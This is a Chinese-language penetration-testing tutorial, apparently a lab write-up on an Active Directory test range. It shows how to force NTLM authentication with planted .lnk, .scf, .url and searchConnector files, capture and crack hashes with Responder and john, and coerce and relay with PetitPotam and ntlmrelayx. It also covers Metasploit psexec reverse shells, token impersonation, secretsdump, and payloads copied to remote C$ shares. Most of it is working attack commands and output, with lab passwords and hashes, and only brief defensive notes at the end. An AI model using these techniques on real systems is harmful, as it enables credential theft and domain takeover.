在前面的文章中,我們學習了如何透過網路層面進行 NTLM Relay、Kerberos 攻擊等技術。今天要探討的是更加隱蔽且具威脅性的攻擊手法 - 利用 Windows 檔案系統特性強制使用者認證。這些攻擊不需要複雜的網路設定,只要能在共享資料夾中放置一個精心構造的檔案,就能在使用者毫不知情的情況下擷取其認證憑證。
這些技術在真實的滲透測試中極為有效,因為:
Windows 在顯示資料夾內容時,會嘗試載入檔案的圖示、縮圖、屬性等資訊。如果這些資訊存放在遠端 UNC 路徑,Windows 會自動使用目前使用者的憑證進行 SMB 認證。
認證觸發流程:
使用者開啟資料夾
↓
Explorer.exe 掃描資料夾內容
↓
發現檔案包含 UNC 路徑 (\\attacker\share\icon.ico)
↓
嘗試連接遠端路徑取得圖示
↓
自動發送 NTLM 認證封包
↓
攻擊者收到 NetNTLMv2 Hash
關鍵特性:
檔案類型 | 攻擊向量 | 觸發條件 | 隱蔽性 |
---|---|---|---|
.lnk | Icon 路徑 | 進入資料夾 | ⭐⭐⭐ |
.scf | Icon 路徑 | 進入資料夾 | ⭐⭐⭐ |
.url | Icon 路徑 | 進入資料夾 | ⭐⭐⭐ |
.library-ms | Library 定義 | 開啟檔案 | ⭐⭐ |
.searchConnector-ms | Search Connector | 開啟檔案 | ⭐⭐ |
攻擊場景設定:
網路拓撲:
攻擊者 (Kali) 受害者 (catelyn) 目標共享 (castelblack)
192.168.139.138 --> RDP 連線 192.168.139.11
WINTERFELL \\castelblack\all
首先模擬真實使用者登入到域內電腦:
# 以 catelyn.stark 登入 WINTERFELL
xfreerdp3 /d:north.sevenkingdoms.local \
/u:catelyn.stark \
/p:'robbsansabradonaryarickon' \
/v:winterfell.north.sevenkingdoms.local \
/cert:ignore
為什麼要模擬 RDP Session?
使用 crackmapexec 檢查 CASTELBLACK 的共享權限:
crackmapexec smb castelblack.north.sevenkingdoms.local \
-u arya.stark \
-p 'Needle' \
-d north.sevenkingdoms.local \
--shares
預期輸出:
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK [+] north.sevenkingdoms.local\arya.stark:Needle
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK [+] Enumerated shares
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK Share Permissions Remark
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK ----- ----------- ------
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK ADMIN$ Remote Admin
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK all READ,WRITE Basic RW share for all
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK C$ Default share
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK IPC$ READ Remote IPC
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK public READ Basic Read share for all domain users
關鍵發現:
all
共享具有 READ,WRITE 權限crackmapexec 提供了自動化的 .lnk
檔案部署模組:
crackmapexec smb castelblack.north.sevenkingdoms.local \
-u arya.stark \
-p 'Needle' \
-d north.sevenkingdoms.local \
-M slinky \
-o NAME=.thumbs.db SERVER=192.168.139.138
參數解析:
-M slinky
- 使用 slinky 模組 (自動建立 .lnk 檔案)-o NAME=.thumbs.db
- 檔案名稱 (以 .
開頭 = 隱藏檔案)-o SERVER=192.168.139.138
- 攻擊者 IP (接收認證的伺服器)模組運作原理:
# slinky 模組會建立類似這樣的 .lnk 檔案
[InternetShortcut]
URL=http://placeholder/
WorkingDirectory=C:\
IconFile=\\192.168.139.138\share\icon.ico
IconIndex=1
隱藏檔案的戰術考量:
report.lnk
)在攻擊者機器上啟動 Responder 攔截認證:
responder -I eth1
Responder 運作流程:
1. 監聽 SMB (445)、HTTP (80) 等協定
2. 等待受害者連線
3. 回應 NTLM Challenge
4. 接收並記錄 NetNTLMv2 Response
5. 儲存到檔案供後續破解
在 catelyn.stark 的 RDP Session中:
\\castelblack.north.sevenkingdoms.local\all
發生了什麼?
catelyn 開啟 \\castelblack\all
↓
Explorer.exe 掃描資料夾
↓
發現 .thumbs.db.lnk 檔案
↓
嘗試載入圖示: \\192.168.139.138\share\icon.ico
↓
SMB 連線到 192.168.139.138
↓
發送 catelyn.stark 的 NetNTLMv2 認證
↓
Responder 攔截並記錄
Responder 輸出:
[SMB] NTLMv2-SSP Client : fe80::dd7f:8006:df5:48a8
[SMB] NTLMv2-SSP Username : NORTH\robb.stark
[SMB] NTLMv2-SSP Hash : robb.stark::NORTH:6ba227f5cd77b28a:9FC4E9B8CDF9711D2E1887E47386F157:010100000000000000896F6D903ADC01DD6200712191C13E0000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000000000000300000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000
[SMB] NTLMv2-SSP Client : 192.168.139.11
[SMB] NTLMv2-SSP Username : NORTH\catelyn.stark
[SMB] NTLMv2-SSP Hash : catelyn.stark::NORTH:3b47254597767d58:07DAB9937867C21534DC5F5D37C296FD:010100000000000000896F6D903ADC010F392F578D0468E10000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000100000000200000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330039002E003100330038000000000000000000
成功取得:
選項 1: 破解 Hash
# 儲存 hash 到檔案
echo 'catelyn.stark::NORTH:3b47254597767d58:07DAB9937867C21534DC5F5D37C296FD:010100000000000000896F6D903ADC010F392F578D0468E10000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000100000000200000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330039002E003100330038000000000000000000' > catelyn.hash
echo "robbsansabradonaryarickon" > password_list
john --format=netntlmv2 catelyn.hash --wordlist=password_list
攻擊完成後務必清除惡意檔案:
crackmapexec smb castelblack.north.sevenkingdoms.local \
-u arya.stark \
-p 'Needle' \
-d north.sevenkingdoms.local \
-M slinky \
-o NAME=.thumbs.db SERVER=192.168.139.138 CLEANUP=true
從 RDP 可以看到檔案就不見了
crackmapexec 也提供 scuffy 模組部署 .scf
檔案:
crackmapexec smb castelblack.north.sevenkingdoms.local \
-u arya.stark \
-p 'Needle' \
-d north.sevenkingdoms.local \
-M scuffy \
-o NAME=@update.scf SERVER=192.168.139.138
.scf 檔案格式:
[Shell]
Command=2
IconFile=\\192.168.139.138\share\icon.ico
[Taskbar]
Command=ToggleDesktop
特性:
@
會排在最前面 (Windows 排序規則)# 使用 scuffy 模組的 CLEANUP 選項
crackmapexec smb castelblack.north.sevenkingdoms.local \
-u arya.stark \
-p 'Needle' \
-d north.sevenkingdoms.local \
-M scuffy \
-o NAME=@update.scf SERVER=192.168.139.138 CLEANUP=true
手動建立 .url
檔案:
# 建立惡意 .url
cat > clickme.url << 'EOF'
[InternetShortcut]
URL=http://click.me/pwned
WorkingDirectory=test
IconFile=\\192.168.139.138\%USERNAME%.icon
IconIndex=1
EOF
特殊變數利用:
%USERNAME%
- 會展開為目前使用者名稱上傳檔案:
~/.venvs/impacket/bin/smbclient.py \
north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
use all
put clickme.url
exit
觸發條件:
sudo responder -I eth1 -v
一樣可以接收到 hash
# 使用 smbclient 刪除
~/.venvs/impacket/bin/smbclient.py \
north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
smb: \> use all
smb: \all\> del clickme.url
smb: \all\> ls
smb: \all\> exit
xfreerdp3 /d:essos.local \
/u:khal.drogo \
/p:'horse' \
/v:192.168.139.23 \
/cert:ignore
Get-Service WebClient
WebClient 服務說明:
使用另一個網域 (essos.local) 的帳號作為受害者:
xfreerdp3 /d:essos.local \
/u:khal.drogo \
/p:'horse' \
/v:192.168.139.23 \
/cert:ignore
場景說明:
手動建立惡意檔案:
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription
xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>
或使用 crackmapexec 模組:
crackmapexec smb castelblack.north.sevenkingdoms.local \
-u arya.stark \
-p 'Needle' \
-d north.sevenkingdoms.local \
-M drop-sc \
-o NAME=outlook.searchConnector-ms \
URL=https://whatever/
在 khal.drogo 的 RDP Session中:
\\castelblack\all
神奇的事情發生:
# 檢查服務狀態
Get-Service WebClient
Status Name DisplayName
------ ---- -----------
Running WebClient WebClient
WebClient 自動啟動了!
原理解析:
.searchConnector-ms
檔案需要 WebDAV 協定支援為了讓 Responder 能接收請求,需要建立 DNS 記錄:
git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx
pip install dnspython ldap3 impacket
# 使用 dnstools.py 新增 DNS 記錄
python3 dnstool.py \
-u 'north.sevenkingdoms.local\arya.stark' \
-p Needle \
--record 'responder' \
--action add \
--data 192.168.139.138 \
192.168.139.11
參數說明:
--record 'responder'
- DNS 名稱--data 192.168.139.138
- 指向攻擊者 IP192.168.139.11
- DC 的 IP (執行 DNS 修改)DNS 記錄結果:
responder.north.sevenkingdoms.local -> 192.168.139.138
PetitPotam 是一個強制認證工具,可以觸發目標主機連線到我們的伺服器:
# 強制 BRAAVOS 透過 HTTP/WebDAV 認證到 responder
~/.venvs/petitpotam/bin/petitpotam.py \
-u 'arya.stark' \
-p Needle \
-d 'north.sevenkingdoms.local' \
"responder@80/random.txt" \
192.168.139.23
參數解析:
"responder@80/random.txt"
- 目標 URL (HTTP/WebDAV)192.168.139.23
- 受害者機器 (BRAAVOS)@80
- 使用 HTTP 協定 (而非 HTTPS)也可以使用 NetBIOS 名稱:
# 如果 Responder 的 NetBIOS 名稱是 WIN-6WQ7CSHQ2YG
python3 PetitPotam.py \
-u 'arya.stark' \
-p Needle \
-d 'north.sevenkingdoms.local' \
"WIN-6WQ7CSHQ2YG@80/random.txt" \
192.168.139.23
Responder 輸出:
[WebDAV] NTLMv2 Client : 192.168.139.23
[WebDAV] NTLMv2 Username : ESSOS\BRAAVOS$
[WebDAV] NTLMv2 Hash : BRAAVOS$::ESSOS:794dd30d39070aaa:2452EC13A0C59AA894778CBDBD316A65:0101000000000000C76C8900B93ADC015AE45EAE097DE0E600000000020008004900310052004E0001001E00570049004E002D0052005200460059004D004F004E003500440037005500040014004900310052004E002E004C004F00430041004C0003003400570049004E002D0052005200460059004D004F004E0035004400370055002E004900310052004E002E004C004F00430041004C00050014004900310052004E002E004C004F00430041004C000800300030000000000000000000000000400000C93DAE91995A85551D27A81F4AC55D25F18F050CC71AB2D14ECB2371112674D60A001000000000000000000000000000000000000900340048005400540050002F0072006500730070006F006E006400650072002E006C006F00630061006C0064006F006D00610069006E000000000000000000
HTTP 認證的特殊價值:
# 啟動 ntlmrelayx 針對 LDAP
ntlmrelayx.py \
-t ldap://192.168.139.11 \
--escalate-user khal.drogo \
--delegate-access
可能的攻擊結果:
┌──(impacket)─(kali㉿kali)-[~]
└─$ ls -la /usr/share/responder/logs/*.txt
-rw-r--r-- 1 root root 4056 Oct 11 10:16 /usr/share/responder/logs/SMB-NTLMv2-SSP-fe80::dd7f:8006:df5:48a8.txt
┌──(impacket)─(kali㉿kali)-[~]
└─$ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-fe80::dd7f:8006:df5:48a8.txt
eddard.stark::NORTH:923755ad3c2dd7f1:1C37CC7538F86AEEC70694AE182A2F1A:010100000000000000D433FC973ADC0178B7108208D575310000000002000800390049003000380001001E00570049004E002D0043005A0053005900450057005A00520033003300500004003400570049004E002D0043005A0053005900450057005A0052003300330050002E0039004900300038002E004C004F00430041004C000300140039004900300038002E004C004F00430041004C000500140039004900300038002E004C004F00430041004C000700080000D433FC973ADC0106000400020000000800300030000000000000000000000000300000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000
Windows Access Token 包含了使用者的完整安全上下文,是作業系統識別使用者身份的關鍵資料結構。
Token 的組成要素:
Access Token 內容:
├── User SID(使用者安全識別碼)
├── Group SIDs(群組成員資格)
├── Privileges(特權清單)
├── Default DACL(預設存取控制清單)
└── Session ID(工作階段識別碼)
模擬攻擊的運作原理:
當使用者登入 Windows 系統後,即使使用者已經登出或中斷連線,其 Token 可能仍保留在系統記憶體中。如果攻擊者擁有足夠的權限(通常是本機管理員或 SYSTEM),就可以「借用」這些 Token 來假冒其他使用者的身份執行操作。
實際攻擊情境:
攻擊者以 jeor.mormont(本機管理員)登入 CASTELBLACK
↓
發現 robb.stark 曾經登入過(Token 還在記憶體中)
↓
使用 Token 模擬技術「借用」robb.stark 的身份
↓
以 robb.stark 的身份存取網域資源
關鍵技術要點:
目標資訊:
# 檢查目前登入使用者
~/.venvs/impacket/bin/wmiexec.py \
north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 \
"query user"
輸出範例:
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
robb.stark 2 Disc 21:50 10/7/2025 6:54 AM
解讀:
msfconsole
成功啟動後會看到:
=[ metasploit v6.4.64-dev ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops ]
+ -- --=[ 9 evasion ]
msf6 >
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
設定目標主機:
msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.139.22
RHOSTS => 192.168.139.22
設定網域名稱:
msf6 exploit(windows/smb/psexec) > set SMBDomain north.sevenkingdoms.local
SMBDomain => north.sevenkingdoms.local
設定使用者帳號:
msf6 exploit(windows/smb/psexec) > set SMBUser jeor.mormont
SMBUser => jeor.mormont
設定密碼:
msf6 exploit(windows/smb/psexec) > set SMBPass _L0ngCl@w_
SMBPass => _L0ngCl@w_
設定 Payload:
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
設定監聽位址(您的 Kali IP):
msf6 exploit(windows/smb/psexec) > set LHOST 192.168.139.138
LHOST => 192.168.139.138
msf6 exploit(windows/smb/psexec) > exploit
執行過程輸出:
[*] Started reverse TCP handler on 192.168.139.138:4444
[*] 192.168.139.22:445 - Connecting to the server...
[*] 192.168.139.22:445 - Authenticating to 192.168.139.22:445|north.sevenkingdoms.local as user 'jeor.mormont'...
[*] 192.168.139.22:445 - Selecting PowerShell target
[*] 192.168.139.22:445 - Executing the payload...
[*] Sending stage (203846 bytes) to 192.168.139.22
[+] 192.168.139.22:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 1 opened (192.168.139.138:4444 -> 192.168.139.22:50041)
成功建立 Meterpreter 工作階段!
meterpreter > load incognito
Loading extension incognito...Success.
Incognito 模組功能:
meterpreter > list_tokens -u
輸出結果:
Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
Font Driver Host\UMFD-2
NORTH\jeor.mormont
NORTH\robb.stark
NORTH\sql_svc
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
NT SERVICE\SQLTELEMETRY$SQLEXPRESS
Window Manager\DWM-1
Window Manager\DWM-2
重要發現:
Token 類型說明:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
目前已經是 SYSTEM 權限,這是本機的最高權限。
meterpreter > impersonate_token "NORTH\\robb.stark"
[+] Delegation token available
[+] Successfully impersonated user NORTH\robb.stark
注意事項:
\\
來跳脫meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
getuid 指令失敗是正常現象,這是因為權限從 SYSTEM 降到一般使用者。
使用 shell 驗證:
meterpreter > shell
Process 6692 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.7792]
C:\Windows\system32> whoami
north\robb.stark
成功!現在的身份是 robb.stark
C:\Windows\system32> whoami /all
完整輸出結果:
USER INFORMATION
----------------
User Name SID
================ =============================================
north\robb.stark S-1-5-21-3845383931-1370366697-225289965-1113
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NORTH\Stark Group S-1-5-21-3845383931-1370366697-225289965-1106 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
輸出內容分析:
使用者資訊部分:
north\robb.stark
- 確認已成功模擬為 robb.starkS-1-5-21-3845383931-1370366697-225289965-1113
- 使用者的安全識別碼群組成員資格分析:
群組名稱 | 類型 | 意義 |
---|---|---|
Everyone | 萬用群組 | 所有使用者都屬於此群組 |
BUILTIN\Users | 本機群組 | 基本使用者權限 |
BUILTIN\Remote Desktop Users | 本機群組 | 可透過 RDP 登入 |
NT AUTHORITY\INTERACTIVE | 萬用群組 | 可互動式登入 |
NT AUTHORITY\Authenticated Users | 萬用群組 | 已通過認證的使用者 |
NORTH\Stark | 網域群組 | 屬於 Stark 家族群組 |
特權資訊分析:
關鍵發現:
BUILTIN\Remote Desktop Users
成員,表示可以 RDP 登入NORTH\Stark
網域群組,可能有特定的網域資源存取權C:\Windows\system32> net user robb.stark /domain
完整輸出結果:
The request will be processed at a domain controller for domain north.sevenkingdoms.local.
User name robb.stark
Full Name robb.stark
Comment Robb Stark
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 9/7/2025 10:32:38 AM
Password expires Never
Password changeable 9/8/2025 10:32:38 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/11/2025 7:57:07 AM
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Stark *Domain Users
The command completed successfully.
網域帳號資訊解析:
基本資訊:
帳號狀態:
密碼政策:
登入資訊:
群組成員資格(重要發現):
群組類型 | 群組名稱 | 權限範圍 | 意義 |
---|---|---|---|
Local Group | Administrators | CASTELBLACK 本機 | robb.stark 是 CASTELBLACK 的本機管理員! |
Global Group | Stark | 整個 north 網域 | Stark 家族成員群組 |
Global Group | Domain Users | 整個 north 網域 | 所有網域使用者的預設群組 |
關鍵發現分析:
本機管理員權限: robb.stark 是 CASTELBLACK 的 Administrators
群組成員,這表示:
密碼政策寬鬆:
無登入限制:
測試存取網域控制站 WINTERFELL:
C:\Windows\system32> dir \\winterfell\c$
輸出結果:
Volume in drive \\winterfell\c$ is Windows 2019
Volume Serial Number is 9458-49FB
Directory of \\winterfell\c$
09/07/2025 10:24 AM 1,521 dns_log.txt
05/11/2021 09:55 PM <DIR> PerfLogs
09/07/2025 08:50 AM <DIR> Program Files
05/11/2021 09:41 PM <DIR> Program Files (x86)
09/07/2025 10:11 AM <DIR> setup
09/07/2025 06:13 AM <DIR> tmp
09/30/2025 08:39 AM <DIR> Users
10/02/2025 07:30 AM <DIR> Windows
1 File(s) 1,521 bytes
7 Dir(s) 45,742,538,752 bytes free
成功存取! robb.stark 可以存取網域控制站 WINTERFELL 的 C$ 共享。
測試列舉 KINGSLANDING 的共享資源:
C:\Windows\system32> net view \\kingslanding
輸出結果:
Shared resources at \\kingslanding
Share name Type Used as Comment
-------------------------------------------------------------------------------
CertEnroll Disk Active Directory Certificate Services share
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
The command completed successfully.
網域資源存取分析:
WINTERFELL(north 網域的 DC):
dns_log.txt
檔案(可能包含敏感資訊)KINGSLANDING(sevenkingdoms 網域的 DC):
權限評估總結:
目標主機 | 網域 | 存取層級 | 可執行操作 |
---|---|---|---|
CASTELBLACK | north | 本機管理員 | 完全控制 |
WINTERFELL | north | 管理共享存取 | 讀取系統檔案、潛在的橫向移動 |
KINGSLANDING | sevenkingdoms | 列舉共享 | 資訊收集、可能的跨網域攻擊 |
攻擊價值分析:
已證實橫向移動能力:
發現敏感檔案:
dns_log.txt
可能包含網域基礎設施資訊潛在的提權路徑:
建議後續行動:
# 1. 讀取 DNS 日誌檔案
C:\Windows\system32> type \\winterfell\c$\dns_log.txt
# 2. 探索 SYSVOL 中的群組原則
C:\Windows\system32> dir \\kingslanding\SYSVOL\sevenkingdoms.local\Policies
# 3. 搜尋 SYSVOL 中的敏感資訊(密碼、憑證)
C:\Windows\system32> findstr /S /I /M "password" \\kingslanding\SYSVOL\*.*
# 4. 列舉網域信任關係
C:\Windows\system32> nltest /domain_trusts
# 5. 檢查是否可存取其他主機
C:\Windows\system32> dir \\braavos\c$
從 Token 清單中發現了 NORTH\sql_svc,這是 SQL Server 服務帳號。服務帳號在 Active Directory 環境中通常擁有特殊權限,是滲透測試中的高價值目標。
第一次嘗試(失敗):
C:\Windows\system32> exit
exit
meterpreter > impersonate_token "NORTH\\sql_svc"
[-] stdapi_sys_config_getsid: Operation failed: Access is denied.
問題分析:
解決方案:使用 rev2self 恢復 SYSTEM 權限
meterpreter > rev2self
rev2self 指令說明:
第二次嘗試(成功):
meterpreter > impersonate_token "NORTH\\sql_svc"
[+] Delegation token available
[+] Successfully impersonated user NORTH\sql_svc
取得 Shell 並驗證身份:
meterpreter > shell
Process 5036 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.7792]
C:\Windows\system32> whoami
north\sql_svc
成功模擬為 sql_svc 服務帳號。
C:\Windows\system32> net user sql_svc /domain
輸出結果:
The request will be processed at a domain controller for domain north.sevenkingdoms.local.
User name sql_svc
Full Name sql_svc
Comment sql service
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 9/7/2025 10:32:59 AM
Password expires Never
Password changeable 9/8/2025 10:32:59 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/11/2025 8:04:26 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users
The command completed successfully.
帳號特性分析:
基本資訊:
帳號狀態(典型服務帳號特徵):
登入限制:
群組成員資格:
初步觀察:
C:\Windows\system32> whoami /priv
輸出結果:
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
特權分析:
特權名稱 | 描述 | 狀態 | 安全影響 |
---|---|---|---|
SeImpersonatePrivilege | 認證後模擬客戶端 | 已啟用 | 極高風險 |
SeAssignPrimaryTokenPrivilege | 取代處理程序等級權杖 | 已停用 | 中度風險 |
SeChangeNotifyPrivilege | 繞過周遊檢查 | 已啟用 | 低風險 |
SeCreateGlobalPrivilege | 建立全域物件 | 已啟用 | 低風險 |
SeIncreaseQuotaPrivilege | 調整處理程序記憶體配額 | 已停用 | 低風險 |
SeIncreaseWorkingSetPrivilege | 增加處理程序工作集 | 已停用 | 低風險 |
SeImpersonatePrivilege 的重要性(關鍵發現):
這個特權是 Windows 本地提權攻擊的核心,允許擁有此特權的帳號模擬其他使用者的安全上下文。
可利用的提權工具:
攻擊原理:
實戰意義:
雖然我們目前已經擁有 SYSTEM 權限(透過 Metasploit),但在其他滲透測試場景中,如果只取得 sql_svc 的憑證而沒有管理員權限,這個特權可以直接提權到 SYSTEM。
C:\Windows\system32> whoami /groups
輸出結果:
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Performance Monitor Users Alias S-1-5-32-558 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQL$SQLEXPRESS Well-known group S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133 Enabled by default, Enabled group, Group owner
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
群組成員資格深度分析:
關鍵群組識別:
群組名稱 | 類型 | 重要性 | 意義 |
---|---|---|---|
NT SERVICE\MSSQL$SQLEXPRESS | 服務群組 | 極高 | 確認此帳號是 SQL Server Express 的執行帳號 |
NT AUTHORITY\SERVICE | 系統群組 | 高 | 標識為服務帳號身份 |
BUILTIN\Performance Monitor Users | 本機群組 | 中 | 可存取效能計數器資料 |
Mandatory Label\High Mandatory Level | 完整性等級 | 極高 | 擁有高完整性等級 |
High Mandatory Level 的意義(重要):
Windows 完整性機制(Mandatory Integrity Control, MIC)分為四個等級:
High Integrity 的特權:
NT SERVICE\MSSQL$SQLEXPRESS 群組的意義:
這個 SID(S-1-5-80-...)格式表示這是一個「虛擬服務帳號」:
已確認的特性:
特性 | 狀態 | 攻擊價值 |
---|---|---|
服務帳號身份 | 確認(NT AUTHORITY\SERVICE) | 高 |
SeImpersonatePrivilege | 已啟用 | 極高(本地提權) |
High Mandatory Level | 確認(S-1-16-12288) | 高 |
SQL Server 關聯 | 確認(MSSQL$SQLEXPRESS) | 中高 |
密碼永不過期 | 確認 | 高(Kerberoasting 目標) |
帳號永不過期 | 確認 | 中 |
最近活躍 | 確認(2025/10/11 登入) | 高 |
潛在攻擊向量:
sql_svc 展現了服務帳號的所有典型特徵:
設定特徵:
權限特徵:
安全風險:
滲透測試價值:
這個帳號雖然表面上只是 Domain Users 成員,但其 SeImpersonatePrivilege 和 High Integrity Level 使其成為一個極具價值的攻擊目標。在真實的滲透測試中,發現這類服務帳號往往是突破防線的關鍵。
使用被模擬使用者的身份存取其他主機:
C:\Windows\system32> dir \\TARGET_HOST\c$
C:\Windows\system32> copy payload.exe \\TARGET_HOST\c$\temp\
如果模擬的使用者是 Domain Admins 成員:
C:\Windows\system32> net group "Domain Admins" /domain
C:\Windows\system32> secretsdump.py north.sevenkingdoms.local/robb.stark@winterfell
以目標使用者身份存取其私人檔案:
C:\Windows\system32> dir C:\Users\robb.stark\Desktop
C:\Windows\system32> type C:\Users\robb.stark\Documents\passwords.txt
技術層面:
管理層面:
組態建議:
# 停用 WDigest(避免明文密碼留在記憶體)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0
# 啟用 LSA Protection
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1
Windows 事件日誌監控:
Event ID | 描述 | 偵測重點 |
---|---|---|
4624 | 帳戶登入 | Type 9(NewCredentials)可能表示 Token 模擬 |
4672 | 特權使用 | SeImpersonatePrivilege 的使用 |
4648 | 使用明確憑證登入 | 可能是 Token 模擬的前置動作 |
4688 | 建立新處理程序 | 父程序與子程序的使用者不一致 |
Sysmon 規則範例:
<RuleGroup name="Token Manipulation" groupRelation="or">
<ProcessAccess onmatch="include">
<GrantedAccess condition="is">0x1478</GrantedAccess>
<GrantedAccess condition="is">0x1410</GrantedAccess>
</ProcessAccess>
</RuleGroup>
